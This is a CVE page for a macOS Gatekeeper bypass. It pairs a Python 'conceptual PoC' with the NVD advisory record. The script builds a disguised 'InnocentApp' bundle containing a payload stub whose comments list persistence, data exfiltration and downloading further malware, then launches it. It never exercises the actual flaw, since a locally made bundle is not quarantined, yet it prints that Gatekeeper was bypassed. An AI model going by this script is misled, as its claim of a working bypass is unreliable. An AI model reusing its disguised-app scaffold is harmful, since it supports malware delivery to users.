CVE-2025-43296

# CVE-2025-43296 PoC - macOS Gatekeeper Bypass # This is a conceptual PoC demonstrating the Gatekeeper bypass logic issue # Fixed in macOS Tahoe 26 import os import subprocess import sys def create_malicious_app(): """ Create a malicious .app bundle that exploits the Gatekeeper validation logic flaw to bypass security checks. """ app_name = "InnocentApp.app" app_path = os.path.expanduser(f"~/Desktop/{app_name}") # Create app bundle structure os.makedirs(f"{app_path}/Contents/MacOS", exist_ok=True) os.makedirs(f"{app_path}/Contents/Resources", exist_ok=True) # Create Info.plist with manipulated metadata info_plist = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>payload</string> <key>CFBundleIdentifier</key> <string>com.example.innocentapp</string> <key>CFBundleName</key> <string>InnocentApp</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>LSMinimumSystemVersion</key> <string>10.15</string> </dict> </plist>''' with open(f"{app_path}/Contents/Info.plist", "w") as f: f.write(info_plist) # Create malicious payload executable payload_script = '''#!/bin/bash # Malicious payload - bypasses Gatekeeper due to logic flaw echo "Gatekeeper bypassed successfully" # Insert malicious actions here: # - Establish persistence # - Exfiltrate user data # - Download additional malware osascript -e 'display dialog "App executed without Gatekeeper verification"' ''' payload_path = f"{app_path}/Contents/MacOS/payload" with open(payload_path, "w") as f: f.write(payload_script) os.chmod(payload_path, 0o755) print(f"[*] Malicious app created at: {app_path}") return app_path def trigger_bypass(app_path): """ Trigger the Gatekeeper bypass by opening the malicious app. On vulnerable macOS versions (< Tahoe 26), Gatekeeper validation logic fails to properly verify the application. """ print(f"[*] Attempting to open: {app_path}") print("[*] On vulnerable systems, Gatekeeper will not block execution") # Simulate user interaction (double-click or open command) try: subprocess.run(["open", app_path], check=True) print("[+] Application launched - Gatekeeper bypassed!") except subprocess.CalledProcessError as e: print(f"[-] Failed to launch: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-43296 - macOS Gatekeeper Bypass PoC") print("Affected: macOS versions prior to Tahoe 26") print("=" * 60) if sys.platform != "darwin": print("[!] This PoC targets macOS systems only") sys.exit(1) app = create_malicious_app() trigger_bypass(app)

{"cve": {"id": "CVE-2025-43296", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:37.767", "lastModified": "2025-10-20T18:50:49.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26. An app may bypass Gatekeeper checks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-693"}, {"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "39AFEC84-CF6E-4859-8B5A-C5CF3F838A94"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}